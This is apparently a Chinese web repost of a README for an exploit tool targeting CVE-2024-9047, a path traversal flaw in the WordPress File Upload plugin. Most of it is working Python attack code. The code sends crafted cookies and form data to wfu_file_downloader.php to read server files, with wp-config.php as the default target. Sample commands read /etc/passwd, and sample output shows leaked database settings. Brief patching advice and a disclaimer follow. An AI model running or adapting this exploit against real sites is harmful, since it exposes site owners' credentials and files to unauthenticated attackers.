WordPress File Upload 插件路径遍历漏洞利用工具 (CVE-2024-9047)

WordPress File Upload 插件路径遍历漏洞利用工具 (CVE-2024-9047)

本项目提供了一个针对 WordPress File Upload 插件中严重安全漏洞的利用脚本。该漏洞(CVE-2024-9047)影响插件 4.24.11 及之前的所有版本,允许未经身份验证的攻击者通过路径遍历读取或删除服务器上的任意文件。

功能特性

  • 无认证利用:利用过程无需任何 WordPress 账户凭据。
  • 任意文件读取 :成功利用后,可读取服务器上任意可访问文件(如 wp-config.php)。
  • 支持自定义路径:允许用户指定要读取的目标文件路径。
  • 兼容 PHP 7.4 及更早环境:利用条件明确,针对特定 PHP 版本环境设计。
  • 命令行友好:提供简洁的参数接口,便于集成到自动化测试流程中。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests

安装步骤

  1. 克隆或下载本项目代码至本地:

    bash 复制代码
    git clone https://github.com/your-repo/CVE-2024-9047-Exploit.git
    cd CVE-2024-9047-Exploit
  2. 安装 Python 依赖(如果尚未安装 requests):

    bash 复制代码
    pip install requests

使用说明

基础用法

bash 复制代码
python CVE-2024-9047.py --url <目标WordPress站点URL> [--command <目标文件路径>]
  • --url, -u:必选参数,目标 WordPress 站点的根 URL(例如 http://example.com/wordpress)。
  • --command, -c:可选参数,要读取的文件路径(相对于服务器文件系统根目录)。默认路径为 /../../../../../opt/lampp/htdocs/wordpress/wp-config.php

典型使用场景

场景一:快速检测漏洞并读取默认配置文件
bash 复制代码
python CVE-2024-9047.py -u http://192.168.1.100/wordpress

工具将自动检测插件版本,若版本 ≤ 4.24.11 且 PHP 环境符合要求,则尝试读取默认的 wp-config.php 文件。

场景二:指定读取其他敏感文件
bash 复制代码
python CVE-2024-9047.py -u http://example.com --command /../../../../../etc/passwd
执行输出示例
php 复制代码
Detected version: "trunk"
The site is vulnerable!
Exploit successful! Response:
<?php

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress7' );
...

工作流程说明

  1. 漏洞利用 :向 /wp-content/plugins/wp-file-upload/wfu_file_downloader.php 发送 POST 请求,携带恶意构造的 Cookie 和表单数据,利用路径遍历读取目标文件。
  2. 结果输出:若攻击成功,则在控制台打印文件内容;否则显示失败状态码。

核心代码

1. 版本检测模块

python 复制代码
def check_version(url):
    try:



        if response.status_code == 200 and "Stable tag" in response.text:
            for line in response.text.splitlines():
                if "Stable tag" in line:
                    version = line.split(":")[1].strip()
                    print(f"Detected version: {version}")
                    if version <= "4.24.11":
                        print("The site is vulnerable!")
                        return True
                    else:
                        print("The site is not vulnerable.")
                        return False
        else:
            print("Unable to detect the plugin version.")
            return False
    except requests.RequestException as e:
        print(f"Error checking version: {e}")
        return False

2. 核心利用模块

python 复制代码
def exploit(url, command):
    try:
        exploit_url = f"{url}/wp-content/plugins/wp-file-upload/wfu_file_downloader.php"
        cookies = {
            "wp_wpfileupload_testupload": "Nxploited",
            "wfu_storage_file123": command,
            "wfu_download_ticket_ticket123": "9876543210987",
            "wfu_ABSPATH": "/",
        }
        data = {
            "file": "file123",
            "ticket": "ticket123",
            "handler": "dboption",
            "session_legacy": "1",
            "dboption_base": "cookies",
            "dboption_useold": "0",
            "wfu_cookie": "wp_wpfileupload_testupload",
        }

        response = requests.post(exploit_url, cookies=cookies, data=data, timeout=10)

        if response.status_code == 200:
            print("Exploit successful! Response:")
            print(response.text)
        else:
            print(f"Exploit failed. Response code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error during exploitation: {e}")

3. 主控制流程

python 复制代码
def main():
    parser = argparse.ArgumentParser(description="The WordPress File Upload plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.")
    parser.add_argument("--url", "-u", required=True, help="Target URL (e.g., http://example.com)")
    parser.add_argument("--command", "-c", default="/../../../../../opt/lampp/htdocs/wordpress/wp-config.php", help="File path to read")
    args = parser.parse_args()

    target_url = args.url.rstrip("/")
    command = args.command

    if check_version(target_url):
        exploit(target_url, command)

漏洞修复建议

  • 立即将 WordPress File Upload 插件更新至最新版本。
  • 升级 PHP 环境至 7.4 以上官方支持的版本。
  • 严格限制 Web 服务器文件系统权限,避免敏感文件可被 Web 用户读取。
  • 部署 Web 应用防火墙(WAF),拦截包含路径遍历特征的恶意请求。

免责声明

本工具及文档仅限用于安全研究、教育及授权的渗透测试。未经明确授权使用本工具攻击任何系统均属非法行为,使用者需自行承担一切法律责任。项目作者及贡献者对任何滥用行为不承担责任。 6HFtX5dABrKlqXeO5PUv/y6n7EBe6h2V2n05Vq1LwOqLqjbNI15A04sn614rpN95

相关推荐
朴实赋能几秒前
AI Agent + NFC + 同地标拼购:本地生活实体店的“数字获客“技术解法与MVP验证思路
人工智能·生活·ai agent·实体店获客·实体店数字化·ai 获客·nfc 获客
bullkingluo2 分钟前
我们给生产 RAG 补了 5 个 P0 安全洞,发现自进化闭环存在的漏洞
人工智能
高洁016 分钟前
工信部教考中心证书
人工智能·深度学习·算法·机器学习·知识图谱
桃西西呀9 分钟前
Harbor 不是 RL 框架:评测 vs 训练,以及它能产出什么
人工智能
QYR_1111 分钟前
光伏级ETFE薄膜市场2032年预计达5.54亿元,10.6%增速打开轻量化光伏新空间
人工智能
小黄人软件17 分钟前
【证书批量转换】PEM->CER证书批量转换工具.exe 纯 Python实现,无需安装OpenSSL
人工智能·学习
tanglinS19 分钟前
工业陶瓷在半导体设备里都用哪里?氮化铝基板与氮化硅结构件的静电无尘角色
大数据·运维·人工智能·自动化·材质
ZJU_统一阿萨姆26 分钟前
【推理优化】连续批处理:当推理吞吐量遇到天花板
人工智能·语言模型·系统架构
AI攻城狮小关34 分钟前
Claude Code 接入 DeepSeek 完整教程:3 步配置,告别订阅限额
人工智能·程序人生·api·agent·配置教程
aiot1891893521844 分钟前
2026IOTE国际物联网展,深圳国际会展中心10B52蓝牙AOA行业内卷到头没有?
人工智能·人员定位·室内定位·蓝牙aoa·核芯物联